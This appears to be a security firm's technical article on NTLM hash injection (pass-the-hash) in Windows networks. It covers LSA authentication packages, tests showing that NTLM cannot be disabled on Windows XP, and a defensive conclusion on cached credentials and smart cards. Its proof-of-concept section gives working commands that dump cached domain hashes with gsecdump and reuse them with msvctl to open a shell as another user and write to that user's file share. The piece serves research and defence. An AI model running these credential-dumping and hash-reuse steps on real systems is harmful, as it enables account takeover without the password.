Hash Injection Attack
1.1
Introduction
Microsoft Windows supports in the LSA (Local Security Authority Subsystem) various methods to authenticate a PC or a user in the net and to liberate Windows services. Since the introduction of Windows 2000, the Kerberos protocol has been a core technology in Microsoft networks. This raises the question whether in a Windows network we can abstain completely from the older techniques such as LM, NTLM and NTLMv2.
This topic has gained particular relevance as, during the Microsoft TechED 2007, Marcus Murray of Truesec (Sweden) presented a possibility to bypass the Windows authentication process by hashes. Marcus Murray goes even as far as claiming that Windows Logons with SmartCards can thereby also be bypassed.
This article deals with the Murray method and describes the basics for the general comprehension. The objective of this article is not only to demonstrate to the reader the connection between the LSA methods and the dependence on NTLMv2, but also to formulate conclusions and recommendations.
1.2
Theory on LSA
Whoever deals with Microsoft networks in respect of IT-security is well aware that Microsoft products support various crypto procedures in the LSA.
• LAN Manager (LM) challenge/response
• Windows NT challenge/response (also known as NTLM version 1)
• NTLM version 2 challenge/response
• Kerberos
The LSA is the component responsible in Windows for the authentication and the session handling, which also ensures the authentication in the offline mode. For this purpose the "Cached Credentials" of all those users who have ever authenticated through this computer to the domain are stored in the client computer of a Windows XP workstation.
You can recognise that for the LSA the following DLLs are responsible for the encapsulation of individual crypto functions:
• Digest (Wdigest.dll) Digest Auth functionality
• NTLM (Msv1_0.dll) NTLM functionality
• Kerberos (Kerberos.dll) Kerberos functionality
• TLS/SLL (Schannel.dll) TLS/SSL functionality
1.2.1
Security Packages
All Security Packages registered in Windows are defined through a central Registry Key. While booting, Windows reads the respective entries and registers the indicated packages for LSA.
HKLM\SYSTEM\CurrentControlSet\Control\Lsa\SecurityPackages
This information is important for the test cases of chapter 1.3 where we have attempted to operate a Windows XP workstation WITHOUT NTLM.
1.2.2
NTLM Security settings
The Msv1_0 security package can be configured through further Registry Keys. In particular Windows can be instructed to obey certain NTLM policies. In Windows Hardening instructions it is recommended to set the Registry Key to "5", i.e. to allow exclusively NTLMv2.
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Lsa
Interestingly there is no Registry Key for “Refuse LM & NTLM & NTLMv2” for the central deactivation of NTLM.
1.2.3
LM – NTLM – NTLMv2
The LM authentication is based on very weak cryptographic procedures. Very early there were various tools that were able to crack even complex passwords in the LM format within a short time (L0pht Crack).
As a result, Microsoft provided NTLM which has far better cryptographic functions than the LM authentication. Yet due to the marginal key length, the upcoming hacker tools were soon capable of cracking NTLM hashes in a bit longer but still a short time.
After that, Microsoft introduced NTLMv2 which offers a substantial enhancement of NTLM and is still widely used. The following statement accompanied the launch of NTLMv2:
“Microsoft has developed an enhancement, called NTLM version 2, that significantly improves both the authentication and session security mechanisms.”
“For NTLMv2, the keyspace for password-derived keys is 128 bits. This makes a brute force search infeasible, even with hardware accelerators, if the password is strong enough.”
The security community has searched for weaknesses in the NTLMv2 und traced these in the "Time Memory Tradeoff" attack1. The basic issue is that a powerful computer previously calculates all possible passwords and stores their hash values in a database. If an NTLMv2 password is being tested on its strength, the hash value is searched in the pre-calculated hash table. If this is carried out successfully, the password will be identified.
1.2.4
Kerberos
Since Windows 2000, Microsoft has been based on the Kerberos protocol. During the Compass Security Event 2007 we have presented various attacks on Kerberos, in particular Kerberos Session Hijacking, Replay, and Offline Dictionary attack.
The PDF of this presentation can be found under the following link:
http://www.csnc.ch/static/download/misc/2007_kerberos_v1.0_print.pdf
Although Kerberos Design has its weaknesses, it is still regarded "safer" than NTLMv2. The question is therefore whether it is possible to operate a "PURE KERBEROS" network.
1.3
Test Cases for the deactivation of NTLM
Compass Security has analyzed whether a Windows XP test workstation is also functional "without" NTLM, or in other words whether NTLM can be abandoned completely from the system.
(i) Security Packages
In this test the NTLM string
HKLM\SYSTEM\CurrentControlSet\Control\Lsa\SecurityPackages
was removed from the Registry Key. After that, the Windows XP test workstation was rebooted.
The impact can be summarised as follows:
• Windows XP boots as usual. Smart Card Reader is present as a device and is displayed in GINA.
• No Login possible in Local Computer (with or without SmartCard)
• No login possible on the domain (with or without SmartCard)
• The system neither recognizes the object "Local Computer" nor the object "Domain"
(ii) Remove C:\windows\system32\msv1_0.dll
In this test, the Msv1_0.dll has been removed from the system.
c:\Windows\System32\msv1_0.dll
c:\Windows\System32\dllcache\msv1_0.dll
c:\Windows\ServicePackFiles\i386\msv1_0.dll
The impact can be summarised as follows:
• Windows XP boots as usual. Smart Card Reader is not present as a device and is displayed in GINA.
• No Login possible in Local Computer
• No login possible on the domain
• The system neither recognizes the object "Local Computer" nor the object "Domain"
1.4
Conclusion
For the dissolution of the local or domain objects, NTLMv2 is required. Without NTLMv2 Microsoft XP does not work anymore.
The analysis by Compass Security has proved that NTLM cannot be removed 100%. The Windows Interna are still dependent on the presence of NTLM.
1.5
Smart Cards
What happens to the "old" NTLM passwords if you migrate to a Smart Card based authentication in the Windows network? On principle, a user needs not to know his "password" anymore after the migration - consequently, the password should be set to a hard or non-guessable value by the system.
Migration User from Password-based to SmartCard based authentication
• Windows 2000 Server: NTLM password does not change
• Windows 2003 Server: NTLM password is set to a random value
1.6
Hash Injection Attacks in a Windows Network
At the Microsoft TechED 2007, Marcus Murray of Truesec (Sweden) presented a possibility to bypass the Windows authentication process by Hash Injections. This means that it is not necessary anymore to crack the NTLMv2 hash (Rainbow tables), but that the possession of the hash without knowing the password is sufficient for the utilization of Windows services. Marcus Murray goes even as far as claiming that thereby even Windows Logons with SmartCards can be bypassed, since, as described above, with the migration to SmartCards the server changes the password and the hash to a random value and these still remain valid in Windows.
Compass Security has investigated the option by Murray and confirms the feasibility of the "Hash Injection Attack".
1.7
Proof-of-Concept
1.7.1
Preconditions
This chapter documents the test with the Murray procedure. The following parameters are defined for the test:
• Step 1: Windows XP Workstation is installed anew
• Step 2: Windows XP Workstation is joined to the domain (join Domain)
• Step 3: Domain User "ibuetler" authenticates at the domain via XP workstation using a FileShare on a Domain Member Server
• Step 4: Local Admin on the Windows XP workstation executes the Hash Injection attack and is also able to access the FileShare using the cached Credentials of "ibuetler" (with the rights of "ibuetler") without knowing the password of "ibuetler".
1.7.2
Tools
The following tools have been used for the test:
• gsecdump: With this tool various secrets/hashes can be emitted in Windows. Download from: http://www.truesec.com/PublicStore/catalog/Downloads,223.aspx
• msvctl: With this tool, the Windows Login with hashes can be bypassed. Download from: http://www.truesec.com/PublicStore/catalog/Downloads,223.aspx
1.7.3
Mount Attempt
After the login as Local Admin in the test workstation and the attempt to mount a Share on the Fileserver the following message is displayed:
C:\>net use z: \\192.168.200.46\Data The password or user name is invalid for \\192.168.200.46\Data.
Enter the user name for '192.168.200.46': ^C
1.7.4
Hash Export
Using the tool gsecdump the hashes of the Cached Credentials of the local Windows XP workstation can be readout. In the example below the hash of "ibuetler" is exported. This is only possible because the user "ibuetler" has previously been logged in on this device.
C:\Documents and Settings\Administrator\Desktop\mscvtl\gsecdump-0.6-win32>gsecdump.exe -a
info: you must run as LocalSystem to dump LSA secrets
CSNC\ibuetler::25b425XXXXXXXXXXXXXXXXec5cabcc:fa1d701b2YYYYYYYYYYYYYYYY715b5:::
1.7.5
Hash Injection Attack
The hash exported can now be used for the described attack in combination with the Hash Injection Tool "
msvctl".
C:\>msvctl ibuetler::25b425XXXXXXXXXXXXXXXXec5cabcc:fa1d701b2YYYYYYYYYYYYYYYY715b5::: run cmd.exe
info: running 'cmd.exe '
Subsequently a new prompt opens in the context of the domain user "CSNC\ibuetler". In this shell the Fileserver can be accessed:
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\WINDOWS\system32>net use z: \\192.168.200.46\Data
The command completed successfully.
Listing of the directories on the Fileserver:
Z:\>dir
Finally, we attempt to create a directory on the Fileshare in order to test whether we have sufficient "rights" for this. A precondition is of course, that the domain user "ibuetler" is in possession of the corresponding NTFS permissions on the Share.
Z:\>mkdir test
1.8
Conclusion
The described attack indicates that today (October 2011) there is still a great dependence on NTLM. In order to execute a Hash Injection attack, the attacker must have "Local Admin" rights. In many company PCs, this is not the case. There are, however, various tricks to obtain Local Admin rights through physical attacks (remove the hard disc and reset via Live-CDs). Therefore Compass Security assumes that a passionate attacker will successfully complete physical access to a PC/Laptop.
A precondition for the attack is that there are "Cached Credentials" in the local computer which can be injected. It is therefore even more important that this cache is free of Domain Admin or other Admin users. This can for example be prevented by never logging in to the PC interactively with such accounts and by never starting via "Run as" commands. Compass feels that this attack seems to be of relevance, especially with stolen or lost PCs. The cognition that networks can be accessed without knowing the passwords is new. Consequently, Rainbow tables and similes lose their relevance, even if the plain password is still of interest to other attacks. An example is an assumption that the user is highly likely to use the same password in Windows as for other applications (e.g. SAP).
The described attack still works after the migration to SmartCards as the system keeps accepting NTLM in the background. It only files the passwords and hashes in a correspondingly long and complex format. However, this does not prevent injections.
